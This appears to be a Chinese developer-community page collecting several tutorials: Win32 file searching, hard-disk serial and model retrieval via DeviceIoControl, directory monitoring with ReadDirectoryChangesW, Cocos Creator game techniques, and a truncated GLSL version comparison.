    背景文件搜索功能,应该是比较常用的功能了,大都数程序都会或多或少涉及到文件搜索这部分的内容。同样的,强大的WIN32 API也为我们封装好了相应的文件搜索的函数接口,我们只需按照函数的使用规则,调用相应的函数实现即可。
    Windows系统中,常见的文件搜索方法主要涉及的WIN32 API函数是:FindFirstFile、FindNextFile以及FindClose等,本文要实现的功能就是基于这 3 个函数完成的。现在,我把程序实现的过程及原理整理成文档,分享给大家。
    函数介绍FindFirstFile 函数
    搜索具有与特定名称匹配的名称的文件或子目录的目录(或使用通配符时使用部分名称)。函数声明
    HANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName, _Out_ LPWIN32_FIND_DATA lpFindFileData);
    参数

    lpFileName [in]目录或路径,以及文件名。文件名可以包括通配符,例如星号(*)或问号(?)。此参数不应为NULL,无效的字符串(例如,空字符串或缺少终止空字符的字符串),或以尾部反斜杠(\)结尾。如果字符串以通配符,句点(.)或目录名称结尾,那么用户必须对路径上的根和所有子目录具有访问权限。lpFindFileData [out]指向WIN32_FIND_DATA结构的指针,用于接收有关找到的文件或目录的信息。
    返回值

    如果函数成功,则返回值是在后续调用FindNextFile或FindClose中使用的搜索句柄,lpFindFileData参数包含有关找到的第一个文件或目录的信息。如果函数失败或无法从lpFileName参数中的搜索字符串中找到文件,则返回值为INVALID_HANDLE_VALUE,并且lpFindFileData的内容是不确定的。 要获取扩展错误信息,请调用GetLastError函数。

    FindNextFile 函数
    继续文件搜索。
    函数声明
    BOOL WINAPI FindNextFile( _In_ HANDLE hFindFile, _Out_ LPWIN32_FIND_DATA lpFindFileData);
    参数

    hFindFile [in]由前一次调用FindFirstFile或FindFirstFileEx函数返回的搜索句柄。lpFindFileData [out]指向WIN32_FIND_DATA结构的指针,该结构接收有关找到的文件或子目录的信息。
    返回值

    如果函数成功,则返回值不为零,lpFindFileData参数包含有关找到的下一个文件或目录的信息。如果函数失败,则返回值为零,并且lpFindFileData的内容是不确定的。 要获取扩展错误信息,请调用GetLastError函数。

    WIN32_FIND_DATA 结构体
    结构体声明
    typedef struct _WIN32_FIND_DATA { DWORD dwFileAttributes; FILETIME ftCreationTime; FILETIME ftLastAccessTime; FILETIME ftLastWriteTime; DWORD nFileSizeHigh; DWORD nFileSizeLow; DWORD dwReserved0; DWORD dwReserved1; TCHAR cFileName[MAX_PATH]; TCHAR cAlternateFileName[14];} WIN32_FIND_DATA, *PWIN32_FIND_DATA, *LPWIN32_FIND_DATA;
    结构体成员含义

    dwFileAttributes:文件的文件属性。ftCreationTime:指定文件或目录何时创建的FILETIME结构。如果底层文件系统不支持创建时间,则此成员为零。ftLastAccessTime:FILETIME结构。对于一个文件,结构指定文件最后读取,写入或运行的可执行文件的时间。对于目录,结构指定何时创建目录。如果底层文件系统不支持最后访问时间,则此成员为零。ftLastWriteTime:FILETIME结构。对于文件,该结构指定文件上次写入,截断或覆盖的时间,例如,当使用WriteFile或SetEndOfFile时。当文件属性或安全描述符更改时,日期和时间不会更新。对于目录,结构指定何时创建目录。如果底层文件系统不支持上次写入时间,则该成员为零。nFileSizeHigh:文件大小的高阶DWORD值,以字节为单位。除非文件大小大于MAXDWORD,否则该值为零。文件的大小等于(nFileSizeHigh *(MAXDWORD + 1))+ nFileSizeLow。nFileSizeLow:文件大小的低阶DWORD值,以字节为单位。dwReserved0如果dwFileAttributes成员包含FILE_ATTRIBUTE_REPARSE_POINT属性,则此成员将指定重新解析点标记。否则,此值未定义,不应使用。dwReserved1:系统保留,留作将来使用。cFileName:文件的名称。cAlternateFileName:该文件的替代名称。这个名字是经典的8.3文件名格式。

    实现过程对于文件搜索功能的实现,我们主要是调用 FindFirstFile 和 FindNextFile 这两个函数。
    首先,我们在调用 FindFirstFile 函数之前,我们需要指定搜索的文件路径。本文搜索的是 “C:\\Users\\Desktop\\FileSearch_Test” 路径下的所有文件,所以,它的搜索字符串就写成“C:\\Users\\Desktop\\FileSearch_Test\\*.*”。
    // 构造搜索文件类型字符串, *.*表示搜索所有文件类型::wsprintf(pszFileName, "%s\\*.*", pszDirectory);
    然后,我们就可以直接调用 FindFirstFile 函数,按照指定的搜索路径和类型进行搜索,搜索结果返回在 WIN32_FIND_DATA 结构体指针指向的内存中。
    // 搜索第一个文件HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
    接着,我们可以根据 WIN32_FIND_DATA 结构体里面的成员,判断搜索到的文件的文件属性,是文件夹还是文件;还可以从结构体中获取搜索到的文件的名称等等。
    如果我们需要对目录下的所有子目录文件都进行搜索的话,只需要判断文件类型,若是目录的话,则继续递归搜索,搜索其目录下面的目录和文件。但是这里需要注意,要对当前目录“.”和上一层目录“..”进行过滤,不要对其进行递归搜索,因为每个文件目录下必定会有当前目录“.”和上一层目录“..”。如果对这两个目录递归遍历下去,会陷入无限搜索中,而且还会造成缓冲区溢出的。
    // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历if ('.' == FileData.cFileName[0]){ continue; }// 拼接文件路径 ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);// 判断是否是目录还是文件if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 目录, 则继续往下递归遍历文件 SearchFile(pTempSrc);}else { // 文件 printf("%s\n", pTempSrc);}
    然后,我们调用 FindNextFile 函数搜索下一个文件,根据返回值判断是否搜索到文件,若没有,则退出;若搜索到文件,则继续循环上面的操作,获取文件名,判断文件属性等等。
    // 搜索下一个文件::FindNextFile(hFile, &FileData);
    最后,搜索完毕后,我们就可以使用 FindClose 函数文件关闭搜索句柄,释放资源。
    // 关闭文件句柄::FindClose(hFile);
    编码实现void SearchFile(char *pszDirectory){ // 搜索指定类型文件 DWORD dwBufferSize = 2048; char *pszFileName = NULL; char *pTempSrc = NULL; WIN32_FIND_DATA FileData = {0}; BOOL bRet = FALSE; // 申请动态内存 pszFileName = new char[dwBufferSize]; pTempSrc = new char[dwBufferSize]; // 构造搜索文件类型字符串, *.*表示搜索所有文件类型 ::wsprintf(pszFileName, "%s\\*.*", pszDirectory); // 搜索第一个文件 HANDLE hFile = ::FindFirstFile(pszFileName, &FileData); if (INVALID_HANDLE_VALUE != hFile) { do { // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历 if ('.' == FileData.cFileName[0]) { continue; } // 拼接文件路径 ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName); // 判断是否是目录还是文件 if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { // 目录, 则继续往下递归遍历文件 SearchFile(pTempSrc); } else { // 文件 printf("%s\n", pTempSrc); } // 搜索下一个文件 } while (::FindNextFile(hFile, &FileData)); } // 关闭文件句柄 ::FindClose(hFile); // 释放内存 delete []pTempSrc; pTempSrc = NULL; delete []pszFileName; pszFileName = NULL;}
    程序测试我们运行程序,对 “C:\\Users\\Desktop\\FileSearch_Test” 目录进行搜索,成功搜索目录下所有的文件。

    总结一定要特别注意的两个容易出错的问题:
    一个是,在搜索代码里,存放搜索路径的字符串缓冲区大小一定要足够的大。因为如果,缓冲区大小太小的话,而有些文件路径会比较长,当文件路径长度大于缓冲区大小的时候,程序就会缓冲区溢出而崩溃。这个错误会比较隐蔽,而已调试的时候不一定能调试出来。所以,一定要在编程的时候,就有这个意识,注意路径缓冲区的大小。如果你不确定到底多大,你可以申请一块动态内存,给它缓冲区大小设为2KB、4KB或者更大都可以。
    另一个是,在文件继续搜索子文件夹的时候,我们一定要将当前目录“.”以及上一层目录“..”,根据文件名称将其过滤掉,否则如果也对这两个文件目录搜索的话,那么搜索将会变成死循环。因为,每一个目录下都必定会存在这两个文件夹。这样搜索下去,会陷入无限搜索中,而且我们上面提到的搜索路径缓冲区也会溢出,程序崩溃。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-12-05 09:22:38 奖励10点积分
  • 【Cocos Creator实战算法教程(2)】——get47 精华

    1. 规则
    游戏操作仿的是天天爱消除,点击一个方块向相邻的方块滑动就会交换两个方块
    当没有可移动的方块时,可以点击下面的update按钮
    横向相连的方块数字之和会增加分数,纵向相连的方块数字之和会减少分数
    最终目的就是get47

    2. 整体思路搭建游戏场景

    Tile就代表方块,TileLayout就是用来装Tile的,当然我们还是会在脚本里动态添加tile
    先来看一下Tile的脚本
    Tile.js
    cc.Class({ extends: cc.Component, properties: { pics:{ type:cc.SpriteFrame, default:[], }, _type:1, posIndex:cc.Vec, type:{ set:function(value){ this._type = value; this.node.getComponent(cc.Sprite).spriteFrame = this.pics[value-1]; }, get:function(){ return this._type; } }, isAlive:true }, onLoad: function () { this.initType(); }, initType:function(){ this.type = Math.floor(Math.random()*this.pics.length) + 1 ; },});
    这里有三个重要的属性,type,isAlive,posIndex,先记住它们
    再来看一下TileController的脚本的主要方法

    这几个方法里最核心的就是中间的三个:deleteTiles,fallTiles,addTiles
    顾名思义,

    deleTiles:删除相连接的方块
    fallTiles:deleTiles后会有一些空白,这时就需要把上面的方块落下来
    addTiles:fallTiles后上面就有一些空白,所以就要在上面填上新的方块

    3. 主要思路
    Tile里有一个posIndex,这个属性是用来标记tile的位置信息的,之所以要用一个属性来标记,而不是直接移动位置,是为了实现tile的动画效果,因为在fallTiles时,会有很多的tile同时落下,我们的做法是先把所有要下落的tile找出来,然后一起让他们执行动作:position=posIndex
    4. 总结这种消除类的游戏要注意判断游戏状态的结束,因为有连消的存在。
    本教程部分素材来源网络。
    1 留言 2018-12-03 23:29:47 奖励35点积分
  • 编程实现硬盘型号序列号固件版本号检测

    背景硬盘是计算机文件主要存储的地方,它和我们的生活息息相关。硬盘也有不同的生产厂商,为了能够区别每一块硬盘,所以,硬盘本身就会有型号、序列号、固件版本号等一些列的标识。
    本文主要讲解的就是编程实现,获取计算机硬盘的型号、序列号以及固件版本号的信息。现在,我把实现的过程整理成文档,分享给大家。
    函数介绍DeviceIoControl 函数
    将控制代码直接发送到指定的设备驱动程序,使相应的设备执行相应的操作。
    函数声明
    BOOL WINAPI DeviceIoControl( _In_ HANDLE hDevice, _In_ DWORD dwIoControlCode, _In_opt_ LPVOID lpInBuffer, _In_ DWORD nInBufferSize, _Out_opt_ LPVOID lpOutBuffer, _In_ DWORD nOutBufferSize, _Out_opt_ LPDWORD lpBytesReturned, _Inout_opt_ LPOVERLAPPED lpOverlapped);
    参数

    hDevice [in]要执行操作的设备的句柄。设备通常是卷,目录,文件或流。要检索设备句柄,请使用CreateFile函数。有关详细信息,请参阅备注。dwIoControlCode [in]操作的控制代码。此值标识要执行的具体操作和要执行该操作的设备类型。有关控制代码的列表,请参阅备注。每个控制代码的文档提供了lpInBuffer,nInBufferSize,lpOutBuffer和nOutBufferSize参数的使用细节。lpInBuffer [in,optional]指向输入缓冲区的指针,其中包含执行操作所需的数据。此数据的格式取决于dwIoControlCode参数的值。如果dwIoControlCode指定不需要输入数据的操作,则此参数可以为NULL。nInBufferSize [in]输入缓冲区的大小(以字节为单位)。lpOutBuffer [out,optional]指向要接收操作返回的数据的输出缓冲区的指针。此数据的格式取决于dwIoControlCode参数的值。如果dwIoControlCode指定不返回数据的操作,则此参数可以为NULL。nOutBufferSize [in]输出缓冲区的大小(以字节为单位)。lpBytesReturned [out,optional]指向一个变量的指针,该变量接收存储在输出缓冲区中的数据大小(以字节为单位)。如果输出缓冲区太小,无法接收任何数据,则调用失败,GetLastError返回ERROR_INSUFFICIENT_BUFFER,lpBytesReturned为零。lpOverlapped [in,out,optional]指向OVERLAPPED结构的指针。
    返回值

    如果操作成功完成,则返回值不为零。如果操作失败或待处理,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    实现原理编程实现硬盘信息的获取,主要是通过 DeviceIoControl 发送控制码与物理设备进行交互,获取硬盘信息数据。具体的实现步骤如下所示:

    我们使用 CreateFile 打开物理设备,获取物理设备的句柄,好为接下来与设备进行数据交互。要注意的是物理设备的字符串\\\\.\\PHYSICALDRIVE的写法,不要写错了。
    然后,我们调用 DeviceIoControl 函数,传递 SMART_GET_VERSION 控制码,获取物理设备的版本信息、设备的位掩码和功能掩码。
    接着,我们根据设备的位掩码判断该设备是设备是 ATAPI 驱动器还是 ATA 驱动器。若是 ATAPI 驱动器的话,则接下来使用读取 ATAPI 设备的命令 0xA1 进行下面的操作;若是 ATA 驱动器的话,则接下来使用读取 ATA 设备的命令 0xEC 进行下面的操作。
    继续构造输入参数SENDCMDINPARAMS,调用 DeviceIoControl 函数,传递 SMART_RCV_DRIVE_DATA 控制码,获取硬盘数据信息。
    然后,我们从输出信息中,获取硬盘序列号数据,数据下标为 20-39;硬盘固件版本数据,数据下标为 46-53;硬盘型号数据,数据下标为 54-93。并对数据进行处理后输出显示。
    最后,关闭设备句柄,释放资源。

    经过上面 6 个步骤,我们便可以成功获取并显示硬盘信息了。
    编码实现// 获取硬盘信息BOOL GetDiskInfo(int iDriver){ char szFilePath[MAX_PATH] = { 0 }; HANDLE hDisk = NULL; DWORD dwBytesReturned = 0; GETVERSIONINPARAMS gvopVersionParam = { 0 }; BOOL bRet = FALSE; unsigned int uiIDCmd = 0; SENDCMDINPARAMS InParams = { 0 }; unsigned int uiDrive = 0; BYTE outBuffer[1024] = { 0 }; int i = 0; // 打开硬盘设备 ::wsprintf(szFilePath, "\\\\.\\PHYSICALDRIVE%d", iDriver); hDisk = ::CreateFile(szFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (INVALID_HANDLE_VALUE == hDisk) { ShowError("CreateFile"); return FALSE; } // 发送控制代码到指定设备驱动程序, 返回版本信息,功能掩码和设备的位掩码 bRet = ::DeviceIoControl(hDisk, SMART_GET_VERSION, NULL, 0, &gvopVersionParam, sizeof(gvopVersionParam), &dwBytesReturned, NULL); if (FALSE == bRet) { ShowError("DeviceIoControl"); return FALSE; } // 设备的位掩码bIDEDeviceMap位4置为1的话, 该设备是ATAPI驱动器,它是主通道上的主设备 if (0x10 & gvopVersionParam.bIDEDeviceMap) { // 读取ATAPI设备的命令 uiIDCmd = IDE_ATAPI_IDENTIFY; } else { // 读取ATA设备的命令 uiIDCmd = IDE_ATA_IDENTIFY; } // 设置输入 SENDCMDINPARAMS 输入参数 InParams.cBufferSize = IDENTIFY_BUFFER_SIZE; InParams.irDriveRegs.bFeaturesReg = 0; InParams.irDriveRegs.bSectorCountReg = 1; InParams.irDriveRegs.bSectorNumberReg = 1; InParams.irDriveRegs.bCylLowReg = 0; InParams.irDriveRegs.bCylHighReg = 0; InParams.irDriveRegs.bDriveHeadReg = (uiDrive & 1) ? 0xB0 : 0xA0; InParams.irDriveRegs.bCommandReg = uiIDCmd; InParams.bDriveNumber = uiDrive; // 发送控制代码到指定设备驱动程序, 获取硬盘数据信息 bRet = ::DeviceIoControl(hDisk, SMART_RCV_DRIVE_DATA, (LPVOID)(&InParams), sizeof(SENDCMDINPARAMS), (LPVOID)outBuffer, 1024, &dwBytesReturned, NULL); if (FALSE == bRet) { ShowError("DeviceIoControl"); return FALSE; } // 硬盘中的序列号, 型号, 固件版本号 的数据是前后两个字节内容是颠倒的, 所以要转换为正常的顺序 // 获取序列号, 下标20-39 printf("序列号:"); for (i = 20; i < 40; i = i + 2) { printf("%c%c", ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i + 1], ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i]); } printf("\n"); // 获取固件版本号, 下标46-53 printf("固件版本号:"); for (i = 46; i < 54; i = i + 2) { printf("%c%c", ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i + 1], ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i]); } printf("\n"); // 获取型号, 下标54-93 printf("型号:"); for (i = 54; i < 94; i = i + 2) { printf("%c%c", ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i + 1], ((SENDCMDOUTPARAMS *)outBuffer)->bBuffer[i]); } printf("\n"); // 关闭设备 ::CloseHandle(hDisk); return TRUE;}
    程序测试我们直接以管理员权限运行程序,程序提示运行成功,并能正确读取计算机上硬盘的信息:

    总结这个程序需要注意下面两点:

    一是,程序需要管理员权限才能正常运行。因为我们使用 CreateFile 打开物理设备,这个操作就需要管理员权限或者管理员以上的权限运行,否则会因权限不足而操作失败,获取不到物理设备句柄。
    二是,当我们获取到硬盘数据的时候,并不能直接从中读取序列号、固件版本号、型号的信息,需要我们进行下转换。因为,硬盘存储的数据和我们正常读取的数据不一样,硬盘中的序列号、固件版本号、型号的数据前后两个字节内容是颠倒的,所以,显示输出的时候,我们要对它前后两字节颠倒输出。

    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-12-03 19:45:00 奖励20点积分
  • 使用ReadDirecotryChangesW函数实现文件监控

    背景在我没有了解 ReadDirecotryChangesW 这个目录监控函数之前,一直认为要想实现计算机上的文件监控,能够监控计算机上每个文件的改动,是一件极其困难的事情,曾经自己也细想过,但都没有什么好的思绪。不过,事实上,文件监控的确是一件比较复杂的事情。好在Windows为我们提供了一个功能强大,但是使用较为方便的函数接口,这边是我们这篇文章要讲解的 ReadDirecotryChangesW 函数。
    使用 ReadDirecotryChangesW 函数,可以实现对目录及其目录中文件的实时监控,可以有效地发现文件被改动的情况。现在,我就把这个文件监控小程序实现的原理及其过程整理成文档,分享给大家。
    函数声明ReadDirecotryChangesW 函数
    检索描述指定目录中更改的信息,但不会报告对指定目录本身的更改。
    函数声明
    BOOL WINAPI ReadDirectoryChangesW( _In_ HANDLE hDirectory, _Out_ LPVOID lpBuffer, _In_ DWORD nBufferLength, _In_ BOOL bWatchSubtree, _In_ DWORD dwNotifyFilter, _Out_opt_ LPDWORD lpBytesReturned, _Inout_opt_ LPOVERLAPPED lpOverlapped, _In_opt_ LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine);
    参数

    hDirectory [in]要监视的目录的句柄。必须使用FILE_LIST_DIRECTORY访问权限打开此目录。
    lpBuffer [out]指向要读取结果的DWORD对齐的格式化缓冲区的指针。该缓冲区的结构由FILE_NOTIFY_INFORMATION结构定义。这个缓冲区可以同步或异步地进行填充,这取决于目录的打开方式以及给予lpOverlapped参数的值。有关详细信息,请参阅备注部分。
    nBufferLength [in]lpBuffer参数指向的缓冲区的大小(以字节为单位)。
    bWatchSubtree [in]如果此参数为TRUE,则该函数将监视以指定目录为根的目录树。如果此参数为FALSE,则该功能仅监视hDirectory参数指定的目录。
    dwNotifyFilter [in]函数检查以确定等待操作是否已满足过滤条件。此参数可以是以下值中的一个或多个:




    VALUE
    MEANING




    FILE_NOTIFY_CHANGE_FILE_NAME
    监视目录或子树中的任何文件名更改导致更改通知等待操作返回。 更改包括重命名,创建或删除文件


    FILE_NOTIFY_CHANGE_DIR_NAME
    监视目录或子树中的任何目录名更改导致更改通知等待操作返回。 更改包括创建或删除目录


    FILE_NOTIFY_CHANGE_ATTRIBUTES
    监视目录或子树中的任何属性更改导致更改通知等待操作返回


    FILE_NOTIFY_CHANGE_SIZE
    被监视目录或子树中的任何文件大小更改导致更改通知等待操作返回。 仅当文件写入磁盘时,操作系统才能检测文件大小的更改。 对于使用大量缓存的操作系统,仅当高速缓存充分刷新时才会发生检测


    FILE_NOTIFY_CHANGE_LAST_WRITE
    对监视目录或子树中文件的上次写入时间的任何更改都会导致更改通知等待操作返回。 只有当文件写入磁盘时,操作系统才会检测到最后写入时间的更改。 对于使用大量缓存的操作系统,仅当高速缓存充分刷新时才会发生检测


    FILE_NOTIFY_CHANGE_LAST_ACCESS
    对监视目录或子树中文件的最后访问时间的任何更改都会导致更改通知等待操作返回


    FILE_NOTIFY_CHANGE_CREATION
    对被监视目录或子树中的文件的创建时间的任何更改都会导致更改通知等待操作返回


    FILE_NOTIFY_CHANGE_SECURITY
    监视目录或子树中的任何安全描述符更改导致更改通知等待操作返回




    lpBytesReturned [out,optional]对于同步调用,此参数接收传输到lpBuffer参数的字节数。 对于异步调用,此参数未定义。 您必须使用异步通知技术来检索传输的字节数。
    lpOverlapped [in,out,optional]指向OVERLAPPED结构的指针,提供在异步操作期间要使用的数据。 否则,此值为NULL。 该结构的Offset和OffsetHigh成员未被使用。
    lpCompletionRoutine [in,optional]指向完成例程的指针,当操作已经完成或取消并且调用线程处于可警告的等待状态时被调用。 有关此完成例程的更多信息,请参阅FileIOCompletionRoutine。

    返回值

    如果函数成功,则返回值不为零。 对于同步调用,这意味着操作成功。 对于异步调用,这表示操作成功排队。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    实现过程1. 打开目录,获取文件句柄首先,我们需要根据目录路径,调用 CreateFile 函数来打开目录,获取文件句柄,因为下面的调用的 ReadDirecotryChangesW 函数需要用到这个文件句柄。根据上面函数介绍,文件句柄必须要有 FILE_LIST_DIRECTORY 权限,所以要创建 FILE_LIST_DIRECTORY 权限的文件句柄。而且,要获取目录的句柄,需要以 FILE_FLAG_BACKUP_SEMANTICS 为标志调用 CreateFile 函数。同时要注意目录路径,最后是反斜杠\:
    // 打开目录, 获取文件句柄 HANDLE hDirectory = ::CreateFile( pszDirectory, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (INVALID_HANDLE_VALUE == hDirectory) { ShowError("CreateFile"); return 1; }
    2. 设置目录监控然后,我们可以调用 ReadDirecotryChangesW 函数设置目录监控。其中,第 1 个参数表示监控目录句柄;第 2 个参数表示输出缓冲区;第 3 个参数表示输出缓冲区大小;第 4 个参数表示是否监控指定目录下的文件及其子目录下的文件,TRUE,则监控,FALSE则表示只监控指定目录下的文件;第 5 个参数表示操作过滤,本文只监控文件名更改、属性更改以及最后一次写入更改操作;第 6 个参数表示返回缓冲区的字节数;第 7 、第 8 个参数为NULL。
    // 设置监控目录 bRet = ::ReadDirectoryChangesW(hDirectory, pFileNotifyInfo, dwBufferSize, TRUE, FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_LAST_WRITE, &dwRet, NULL, NULL); if (FALSE == bRet) { ShowError("ReadDirectoryChangesW"); break; }
    3. 判断文件操作类型并将宽字节文件名字符串转成多字节字符串表示只要有满足设置条件的文件操作,ReadDirectoryChangesW 立马返回信息,并将返回的信息返回到输出缓冲区中,返回数据是按 FILE_NOTIFY_INFORMATION 结构返回的,所以,我们直接按照 FILE_NOTIFY_INFORMATION 结构解析数据。在 FILE_NOTIFY_INFORMATION 结构中,4字节整型变量 Action 表示操作类型,宽字节字符串变量 FileName 表示更改文件的文件名。
    // 将宽字符转换成窄字符 W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH); // 判断操作类型并显示 switch (pFileNotifyInfo->Action) { case FILE_ACTION_ADDED: { // 新增文件 printf("[File Added Action]%s\n", szTemp); break; } default: { break; }
    其中,我们是调用 WideCharToMultiByte 函数,将宽字节字符串转为多字节字符串。
    获取了一个文件操作之后,还要继续循环设置。如此,才能获取下一个文件操作。到此,我们监控文件操作原理就结束了。
    由于目录监控是需要不停循环调用 ReadDirecotryChangesW 函数进行设置的,所以,如果把这段代码放在主线程,可能会导致程序卡住,所以,我们可以创建一个文件监控的多线程,把文件监控这部分的实现代码放到多线程中,就可以解决主线程阻塞的问题。
    // 创建文件监控多线程 ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorFileThreadProc, pszDirectory, 0, NULL);
    编码实现宽字节文件名字符串转成多字节字符串// 宽字节字符串转多字节字符串void W2C(wchar_t *pwszSrc, int iSrcLen, char *pszDest, int iDestLen){ ::RtlZeroMemory(pszDest, iDestLen); // 宽字节字符串转多字节字符串 ::WideCharToMultiByte(CP_ACP, 0, pwszSrc, (iSrcLen / 2), pszDest, iDestLen, NULL, NULL);}
    文件监控// 目录监控多线程UINT MonitorFileThreadProc(LPVOID lpVoid){ char *pszDirectory = (char *)lpVoid; // 打开目录, 获取文件句柄 HANDLE hDirectory = ::CreateFile(pszDirectory, FILE_LIST_DIRECTORY, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (INVALID_HANDLE_VALUE == hDirectory) { ShowError("CreateFile"); return 1; } char szTemp[MAX_PATH] = { 0 }; BOOL bRet = FALSE; DWORD dwRet = 0; DWORD dwBufferSize = 2048; // 申请一个足够大的缓冲区 BYTE *pBuf = new BYTE[dwBufferSize]; if (NULL == pBuf) { ShowError("new"); return 2; } FILE_NOTIFY_INFORMATION *pFileNotifyInfo = (FILE_NOTIFY_INFORMATION *)pBuf; // 开始循环设置监控 do { ::RtlZeroMemory(pFileNotifyInfo, dwBufferSize); // 设置监控目录 bRet = ::ReadDirectoryChangesW(hDirectory, pFileNotifyInfo, dwBufferSize, TRUE, FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_LAST_WRITE, &dwRet, NULL, NULL); if (FALSE == bRet) { ShowError("ReadDirectoryChangesW"); break; } // 将宽字符转换成窄字符 W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH); // 判断操作类型并显示 switch (pFileNotifyInfo->Action) { case FILE_ACTION_ADDED: { // 新增文件 printf("[File Added Action]%s\n", szTemp); break; } default: { break; } } } while (bRet); // 关闭句柄, 释放内存 ::CloseHandle(hDirectory); delete[] pBuf; pBuf = NULL; return 0;}
    程序测试现在,根据上面的实现原理,我们将开发好的程序直接运行。本文的例子,是监控”C:\\Users\\DemonGan\\Desktop\\temp\\“目录的文件增加情况。所以,我们复制一个文件到在此目录下,程序成功实时显示目录中的变化信息:

    总结这个程序在普通权限下就可以顺利执行,监控指定目录的文件。但是,需要特别注意一点就是,在使用 CreateFile 函数打开监控目录获取文件句柄的时候,文件目录路径字符串必须要在末尾加上反斜杠‘\’,例如C盘下的Windows目录,要写成“C:\\Windows\\”,不要写成“C:\\Windows”,这样会出错的!所以,一定要注意是以反斜杠‘\’作为结尾。
    而且目录监控的时候,是循环调用 ReadDirectoryChangesW 函数进行设置监控的,所以如果把它放在主线程上,会导致进程卡住,我们可以创建一个监控多线程,把监控部分的代码放到多线程上面去。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-12-02 09:30:15 奖励10点积分
  • 【Cocos Creator实战教程(11)】——跨场景访问节点 精华

    1. 相关知识点从这节课开始,我们就要回到之前制作的游戏上了。还记得之前做的菜单场景吗?

    中间有一个记录的label我们一直没理她,今天我们就来翻她的牌子
    我们每次游戏结束时都会有一个分数,这个分数变量在相应的游戏场景里,我们想要的效果时:当返回菜单时,我们要把这个分数变量带回来,但当场景销毁时,其中的所有节点都会随之消失
    这里就要引出另一个重要的知识点,同学们拿笔记一下(没带笔的前后桌借一下)
    不会跟随场景销毁的节点——常驻节点
    2. 步骤我们回到第一个Load场景,添加一个根节点(必须是根节点哦)Record

    编写脚本Record.js
    cc.Class({ extends: cc.Component, properties: { bestRunScore: 0, bestJumpScore: 0, }, onLoad: function () { cc.game.addPersistRootNode(this.node); var bestRunScore = cc.sys.localStorage.getItem("bestRunScore"); if(bestRunScore){ this.bestRunScore = bestRunScore; } var bestJumpScore = cc.sys.localStorage.getItem("bestJumpScore"); if(bestRunScore){ this.bestJumpScore = bestJumpScore; } }, updateRunScore: function(score){ if(score > this.bestRunScore){ this.bestRunScore = score; } }, updateJumpScore: function(score){ if(score > this.bestJumpScore){ this.bestJumpScore = score; } }, save(){ cc.sys.localStorage.setItem('bestRunScore', this.bestRunScore); cc.sys.localStorage.setItem('bestJumpScore', this.bestJumpScore); },});
    我们在onLoad方法里将Record节点变成游戏的常驻节点
    cc.game.addPersistRootNode(this.node);
    销毁的方法是
    cc.game.removePersistRootNode(node);
    游戏中的常驻节点,在切换场景时不会销毁,所以我们可以把一些需要跨场景访问的方法和变量添加到常驻节点的脚本里
    我们切换到Menu场景,惊奇的发现,那个常驻节点Record并没有出现!

    这是因为常驻节点只是逻辑上的,并不会在其他场景层级管理器里出现,这就要用另一个找节点的方法了
    cc.find();
    接着我们修改两个Game的stopGame方法
    Game.js
    stopGame: function(){ cc.director.getCollisionManager().enabled = false; this.gameOverMenu.active = true; this.overScore.string = this.score+"m"; //存储数据 cc.find("Record").getComponent("Record").updateRunScore(this.score);},
    Game2.js
    stopGame: function(){ cc.director.getCollisionManager().enabled = false; this.gameOverMenu.getChildByName('OverScore').getComponent(cc.Label).string = this.score; this.gameOverMenu.active = true; //存储数据 cc.find("Record").getComponent("Record").updateJumpScore(this.score);},
    3. 总结跨场景访问节点主要用于保存游戏状态,所以很多时候要配合着存储数据使用。下节课我们就来介绍存储数据,不见不散~~
    本教程部分资源来源于网络。
    1 留言 2018-12-01 16:49:18 奖励25点积分
  • GLSL版本的区别和对比

    之前在做后台渲染引擎的编译时,尝试将一个GLSL version 110的版本写成GLSL version 330的,在此将学习过程和收获记录下来。
    介绍你可以使用#version命令作为着色器的第一行来指定GLSL版本:
    version 120void main() { gl_FragColor = vec4(1.0);}
    GLSL版本与GL版本一起发布。 请参阅以下图表以确定要定位的版本。GLSL版本
    GLSL ES版本 (Android, iOS, WebGL) OpenGL ES有自己的着色语言,而且版本开始变得新鲜。它是基于OpenGL着色语言版本1.10。
    所以,例如,如果GLSL 120中有一个功能,它可能在GLSL ES 100中不可用,除非ES编译器特别允许它。
    一些差异(桌面)GLSL版本之间的差异。
    版本 100定点着色器:
    uniform mat4 projTrans;attribute vec2 Position;attribute vec2 TexCoord;varying vec2 vTexCoord;void main() { vTexCoord = TexCoord; gl_Position = u_projView * vec4(Position, 0.0, 1.0);}
